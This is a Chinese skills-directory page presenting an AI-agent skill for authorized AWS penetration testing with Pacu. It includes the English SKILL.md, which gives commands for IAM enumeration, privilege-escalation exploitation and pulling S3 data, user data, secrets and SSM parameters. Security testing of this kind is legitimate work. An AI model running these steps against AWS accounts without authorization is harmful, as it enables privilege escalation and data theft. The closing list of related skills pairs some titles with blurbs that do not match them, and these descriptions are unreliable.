performing-cloud-penetration-testing-with-pacu
它能做什么
Pacu 是一个用于测试 Amazon Web Services(AWS)云账户安全性的工具。它通过模拟经过授权的攻击,帮你发现安全弱点,比如权限过大或能访问敏感数据等问题。
适用场景
- ✓当你在 AWS 环境中进行经过授权的渗透测试时。
- ✓当你要验证权限策略(IAM 策略)是否正确生效时。
- ✓当你想了解泄露的 AWS 凭证会造成多大影响时。
技能链接
https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-cloud-penetration-testing-with-pacu/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“我想测试一下 AWS 账户的安全性,看看权限有限的人能否获得更多权限,或访问私人数据。”
每周 5 个新技能,1 分钟读完。
工作原理
你把测试凭证提供给 Pacu,它会运行各种命令来探查你 AWS 账户的配置。它会寻找攻击者可能用来获取更多控制权或访问信息的路径。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
Performing Cloud Penetration Testing with Pacu
When to Use
- When conducting authorized penetration testing of AWS environments
- When validating the effectiveness of IAM policies, SCPs, and permission boundaries
- When assessing the blast radius of a compromised set of AWS credentials
- When testing detection capabilities of GuardDuty, Security Hub, and custom alerting
- When building red team exercises against AWS cloud infrastructure
Do not use for unauthorized testing of any AWS account, for testing AWS infrastructure itself (covered by shared responsibility), for DDoS or volumetric attacks without AWS approval, or for production account testing without explicit authorization and breakglass procedures.
Prerequisites
- Written authorization from the AWS account owner with defined scope and rules of engagement
- Pacu v1.5+ installed (
pip install pacu) - Test AWS credentials with limited starting permissions (simulates compromised credential scenario)
- CloudTrail logging enabled to capture all Pacu activity for post-engagement review
- GuardDuty enabled to validate detection of Pacu activities
- Emergency contact and rollback procedures documented
Workflow
Step 1: Initialize Pacu Session and Configure Credentials
Set up a Pacu session with the test credentials and define the engagement scope.
# Install Pacu
pip install pacu
# Start Pacu
pacu
# Create a new session for the engagement
Pacu > set_keys --key-alias pentest-target
# Enter Access Key ID: AKIA...
# Enter Secret Access Key: ...
# Verify identity
Pacu > whoami
# Review available modules
Pacu > list
Pacu > search iam
Pacu > search ec2
Pacu > search s3
Step 2: Enumerate IAM Configuration
Run IAM enumeration modules to map users, roles, policies, and group memberships.
# Comprehensive IAM enumeration
Pacu > run iam__enum_users_roles_policies_groups
# Enumerate detailed permissions for the current principal
Pacu > run iam__enum_permissions
# Enumerate account authorization details (requires iam:GetAccountAuthorizationDetails)
Pacu > run iam__get_credential_report
# Enumerate role trust policies for cross-account access
Pacu > run iam__enum_roles
# Check current session data
Pacu > data iam
Step 3: Scan for Privilege Escalation Paths
Use Pacu's privilege escalation scanner to identify all exploitable escalation vectors.
# Run the privilege escalation scanner
Pacu > run iam__privesc_scan
# The scanner tests for 21+ escalation methods:
# Method 1: iam:CreatePolicyVersion
# Method 2: iam:SetDefaultPolicyVersion
# Method 3: iam:PassRole + ec2:RunInstances
# Method 4: iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction
# Method 5: iam:PassRole + lambda:CreateFunction + lambda:CreateEventSourceMapping
# Method 6: iam:PassRole + glue:CreateDevEndpoint
# Method 7: iam:PassRole + cloudformation:CreateStack
# Method 8: iam:PassRole + datapipeline:CreatePipeline
# Method 9: iam:CreateAccessKey
# Method 10: iam:CreateLoginProfile
# Method 11: iam:UpdateLoginProfile
# Method 12: iam:AttachUserPolicy
# Method 13: iam:AttachGroupPolicy
# Method 14: iam:AttachRolePolicy
# Method 15: iam:PutUserPolicy
# Method 16: iam:PutGroupPolicy
# Method 17: iam:PutRolePolicy
# Method 18: iam:AddUserToGroup
# Method 19: iam:UpdateAssumeRolePolicy
# Method 20: sts:AssumeRole
# Method 21: lambda:UpdateFunctionCode
# If escalation paths found, attempt exploitation
Pacu > run iam__privesc_scan --escalate
Step 4: Enumerate and Test Data Access
Discover accessible data stores including S3, DynamoDB, RDS, and Secrets Manager.
# Enumerate S3 buckets
Pacu > run s3__bucket_finder
# Download S3 bucket data for analysis
Pacu > run s3__download_bucket --bucket target-bucket --dl-names
# Enumerate EC2 instances and extract user data
Pacu > run ec2__enum
Pacu > run ec2__download_userdata
# Enumerate Lambda functions and check for secrets in environment variables
Pacu > run lambda__enum
# Enumerate Secrets Manager
Pacu > run secretsmanager__enum
# Enumerate SSM parameters (often contain secrets)
Pacu > run ssm__download_parameters
# Check for exposed EBS snapshots
Pacu > run ebs__enum_snapshots_unauth
Step 5: Test Lateral Movement and Persistence
Evaluate cross-account access, service exploitation, and persistence mechanisms.
# Test cross-account role assumption
Pacu > run sts__assume_role --role-arn arn:aws:iam::TARGET:role/CrossAccountRole
…
常见问题
什么是“渗透测试”?
这是一种经过授权的安全测试,目的是在恶意黑客之前发现漏洞。
什么是 AWS 凭证?
它们类似于访问亚马逊云服务的用户名和密码。
什么是“权限提升”?
指权限有限的攻击者设法获得更高权限,比如一名普通员工拿到了管理员权限。
详情
作者的原始描述
Run authorized AWS penetration tests with Pacu, the open-source AWS exploitation framework, to enumerate IAM configuration, scan for privilege escalation paths, and test data access and lateral movement using compromised credentials. Use when conducting authorized red-team assessments of AWS environments, validating IAM policies and SCPs, or determining the blast radius of compromised AWS credenti
热度
- GitHub 星标
- 35k
- 排名
- #8205
- 许可证
- Apache-2.0
- 更新时间
- 2026/8/31
评论
- …
同一仓库的更多技能
abusing-dpapi-for-credential-access
35k为你的 AI 智能体提供针对特定任务的现成指令,让它完成得更好、更快。
abusing-shadow-credentials-for-privesc
35k教你的 AI 智能体写出清晰、结构良好的文本。
achieving-cmmc-level-2-compliance
35k帮助你的智能体搭建符合 CMMC Level 2 合规要求的环境。它会落实安全要求,并管理必要的文档。
acquiring-disk-image-with-dd-and-dcfldd
35k帮助你的智能体创建硬盘的精确副本。这能确保调查过程中信息不丢失、不被篡改。